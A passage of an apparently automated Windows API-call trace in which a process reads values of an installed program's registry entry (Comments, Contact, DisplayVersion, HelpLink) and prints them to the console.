lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.445] GetConsoleOutputCP () returned 0x1b5 [0148.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0148.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.445] __iob_func () returned 0x7fefd702a80 [0148.445] _fileno (_File=0x7fefd702ab0) returned 1 [0148.445] _errno () returned 0xc4bb0 [0148.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.445] _errno () returned 0xc4bb0 [0148.445] GetFileType (hFile=0x50) returned 0x1 [0148.445] lstrlenW (lpString=" ") returned 4 [0148.445] GetConsoleOutputCP () returned 0x1b5 [0148.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.445] GetConsoleOutputCP () returned 0x1b5 [0148.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.446] __iob_func () returned 0x7fefd702a80 [0148.446] _fileno (_File=0x7fefd702ab0) returned 1 [0148.446] _errno () returned 0xc4bb0 [0148.446] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.446] _errno () returned 0xc4bb0 [0148.446] GetFileType (hFile=0x50) returned 0x1 [0148.446] lstrlenW (lpString="REG_SZ") returned 6 [0148.446] GetConsoleOutputCP () returned 0x1b5 [0148.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.446] GetConsoleOutputCP () returned 0x1b5 [0148.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.446] __iob_func () returned 0x7fefd702a80 [0148.446] _fileno (_File=0x7fefd702ab0) returned 1 [0148.446] _errno () returned 0xc4bb0 [0148.446] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.446] _errno () returned 0xc4bb0 [0148.446] GetFileType (hFile=0x50) returned 0x1 [0148.446] lstrlenW (lpString=" ") returned 4 [0148.446] GetConsoleOutputCP () returned 0x1b5 [0148.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.447] GetConsoleOutputCP () returned 0x1b5 [0148.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.447] __iob_func () returned 0x7fefd702a80 [0148.447] _fileno (_File=0x7fefd702ab0) returned 1 [0148.447] _errno () returned 0xc4bb0 [0148.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.447] _errno () returned 0xc4bb0 [0148.447] GetFileType (hFile=0x50) returned 0x1 [0148.447] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0148.447] GetConsoleOutputCP () returned 0x1b5 [0148.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0148.447] GetConsoleOutputCP () returned 0x1b5 [0148.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0148.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0148.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.447] __iob_func () returned 0x7fefd702a80 [0148.447] _fileno (_File=0x7fefd702ab0) returned 1 [0148.447] _errno () returned 0xc4bb0 [0148.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.448] _errno () returned 0xc4bb0 [0148.448] GetFileType (hFile=0x50) returned 0x1 [0148.448] lstrlenW (lpString="\n") returned 1 [0148.448] GetConsoleOutputCP () returned 0x1b5 [0148.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.448] GetConsoleOutputCP () returned 0x1b5 [0148.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.448] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.448] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.448] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.448] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.448] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.448] GetProcessHeap () returned 0x2e0000 [0148.448] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.448] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.448] __iob_func () returned 0x7fefd702a80 [0148.448] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.449] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.449] _fileno (_File=0x7fefd702ab0) returned 1 [0148.449] _errno () returned 0xc4bb0 [0148.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.449] _errno () returned 0xc4bb0 [0148.449] GetFileType (hFile=0x50) returned 0x1 [0148.449] lstrlenW (lpString=" ") returned 4 [0148.449] GetConsoleOutputCP () returned 0x1b5 [0148.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.449] GetConsoleOutputCP () returned 0x1b5 [0148.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.449] lstrlenW (lpString="Contact") returned 7 [0148.449] __iob_func () returned 0x7fefd702a80 [0148.449] _fileno (_File=0x7fefd702ab0) returned 1 [0148.449] _errno () returned 0xc4bb0 [0148.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.449] _errno () returned 0xc4bb0 [0148.449] GetFileType (hFile=0x50) returned 0x1 [0148.449] lstrlenW (lpString="Contact") returned 7 [0148.449] GetConsoleOutputCP () returned 0x1b5 [0148.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.450] GetConsoleOutputCP () returned 0x1b5 [0148.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0148.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.450] __iob_func () returned 0x7fefd702a80 [0148.450] _fileno (_File=0x7fefd702ab0) returned 1 [0148.450] _errno () returned 0xc4bb0 [0148.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.450] _errno () returned 0xc4bb0 [0148.450] GetFileType (hFile=0x50) returned 0x1 [0148.450] lstrlenW (lpString=" ") returned 4 [0148.450] GetConsoleOutputCP () returned 0x1b5 [0148.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.450] GetConsoleOutputCP () returned 0x1b5 [0148.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.450] __iob_func () returned 0x7fefd702a80 [0148.450] _fileno (_File=0x7fefd702ab0) returned 1 [0148.450] _errno () returned 0xc4bb0 [0148.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.450] _errno () returned 0xc4bb0 [0148.450] GetFileType (hFile=0x50) returned 0x1 [0148.451] lstrlenW (lpString="REG_SZ") returned 6 [0148.451] GetConsoleOutputCP () returned 0x1b5 [0148.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.451] GetConsoleOutputCP () returned 0x1b5 [0148.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.451] __iob_func () returned 0x7fefd702a80 [0148.451] _fileno (_File=0x7fefd702ab0) returned 1 [0148.451] _errno () returned 0xc4bb0 [0148.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.451] _errno () returned 0xc4bb0 [0148.451] GetFileType (hFile=0x50) returned 0x1 [0148.451] lstrlenW (lpString=" ") returned 4 [0148.451] GetConsoleOutputCP () returned 0x1b5 [0148.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.451] GetConsoleOutputCP () returned 0x1b5 [0148.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.452] __iob_func () returned 0x7fefd702a80 [0148.452] _fileno (_File=0x7fefd702ab0) returned 1 [0148.452] _errno () returned 0xc4bb0 [0148.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.452] _errno () returned 0xc4bb0 [0148.452] GetFileType (hFile=0x50) returned 0x1 [0148.452] lstrlenW (lpString="") returned 0 [0148.452] __iob_func () returned 0x7fefd702a80 [0148.452] _fileno (_File=0x7fefd702ab0) returned 1 [0148.452] _errno () returned 0xc4bb0 [0148.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.452] _errno () returned 0xc4bb0 [0148.452] GetFileType (hFile=0x50) returned 0x1 [0148.452] lstrlenW (lpString="\n") returned 1 [0148.452] GetConsoleOutputCP () returned 0x1b5 [0148.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.452] GetConsoleOutputCP () returned 0x1b5 [0148.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.452] GetProcessHeap () returned 0x2e0000 [0148.452] GetProcessHeap () returned 0x2e0000 [0148.452] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.452] GetProcessHeap () returned 0x2e0000 [0148.452] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.452] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.452] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.452] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x18) returned 0x0 [0148.453] GetProcessHeap () returned 0x2e0000 [0148.453] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1a) returned 0x2f5bf0 [0148.453] GetProcessHeap () returned 0x2e0000 [0148.453] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.453] GetProcessHeap () returned 0x2e0000 [0148.453] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0148.453] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x18 | out: pdwType=0x23f5f0*=0x1, pvData="11.0.61030", pcbData=0x23f670*=0x16) returned 0x0 [0148.453] __iob_func () returned 0x7fefd702a80 [0148.453] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.453] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.453] _fileno (_File=0x7fefd702ab0) returned 1 [0148.453] _errno () returned 0xc4bb0 [0148.453] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.453] _errno () returned 0xc4bb0 [0148.453] GetFileType (hFile=0x50) returned 0x1 [0148.453] lstrlenW (lpString=" ") returned 4 [0148.453] GetConsoleOutputCP () returned 0x1b5 [0148.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.453] GetConsoleOutputCP () returned 0x1b5 [0148.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.453] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.453] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.453] lstrlenW (lpString="DisplayVersion") returned 14 [0148.453] __iob_func () returned 0x7fefd702a80 [0148.453] _fileno (_File=0x7fefd702ab0) returned 1 [0148.453] _errno () returned 0xc4bb0 [0148.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.454] _errno () returned 0xc4bb0 [0148.454] GetFileType (hFile=0x50) returned 0x1 [0148.454] lstrlenW (lpString="DisplayVersion") returned 14 [0148.454] GetConsoleOutputCP () returned 0x1b5 [0148.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.454] GetConsoleOutputCP () returned 0x1b5 [0148.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.454] __iob_func () returned 0x7fefd702a80 [0148.454] _fileno (_File=0x7fefd702ab0) returned 1 [0148.454] _errno () returned 0xc4bb0 [0148.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.454] _errno () returned 0xc4bb0 [0148.454] GetFileType (hFile=0x50) returned 0x1 [0148.454] lstrlenW (lpString=" ") returned 4 [0148.454] GetConsoleOutputCP () returned 0x1b5 [0148.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.454] GetConsoleOutputCP () returned 0x1b5 [0148.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.455] __iob_func () returned 0x7fefd702a80 [0148.455] _fileno (_File=0x7fefd702ab0) returned 1 [0148.455] _errno () returned 0xc4bb0 [0148.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.455] _errno () returned 0xc4bb0 [0148.455] GetFileType (hFile=0x50) returned 0x1 [0148.455] lstrlenW (lpString="REG_SZ") returned 6 [0148.455] GetConsoleOutputCP () returned 0x1b5 [0148.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.455] GetConsoleOutputCP () returned 0x1b5 [0148.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.455] __iob_func () returned 0x7fefd702a80 [0148.455] _fileno (_File=0x7fefd702ab0) returned 1 [0148.455] _errno () returned 0xc4bb0 [0148.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.455] _errno () returned 0xc4bb0 [0148.455] GetFileType (hFile=0x50) returned 0x1 [0148.455] lstrlenW (lpString=" ") returned 4 [0148.455] GetConsoleOutputCP () returned 0x1b5 [0148.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.456] GetConsoleOutputCP () returned 0x1b5 [0148.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.456] __iob_func () returned 0x7fefd702a80 [0148.456] _fileno (_File=0x7fefd702ab0) returned 1 [0148.456] _errno () returned 0xc4bb0 [0148.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.456] _errno () returned 0xc4bb0 [0148.456] GetFileType (hFile=0x50) returned 0x1 [0148.456] lstrlenW (lpString="11.0.61030") returned 10 [0148.456] GetConsoleOutputCP () returned 0x1b5 [0148.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.456] GetConsoleOutputCP () returned 0x1b5 [0148.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030", lpUsedDefaultChar=0x0) returned 10 [0148.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.456] __iob_func () returned 0x7fefd702a80 [0148.456] _fileno (_File=0x7fefd702ab0) returned 1 [0148.456] _errno () returned 0xc4bb0 [0148.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.456] _errno () returned 0xc4bb0 [0148.456] GetFileType (hFile=0x50) returned 0x1 [0148.456] lstrlenW (lpString="\n") returned 1 [0148.457] GetConsoleOutputCP () returned 0x1b5 [0148.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.457] GetConsoleOutputCP () returned 0x1b5 [0148.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.457] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.458] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.458] GetProcessHeap () returned 0x2e0000 [0148.458] GetProcessHeap () returned 0x2e0000 [0148.458] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.458] GetProcessHeap () returned 0x2e0000 [0148.458] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0148.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0148.458] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, 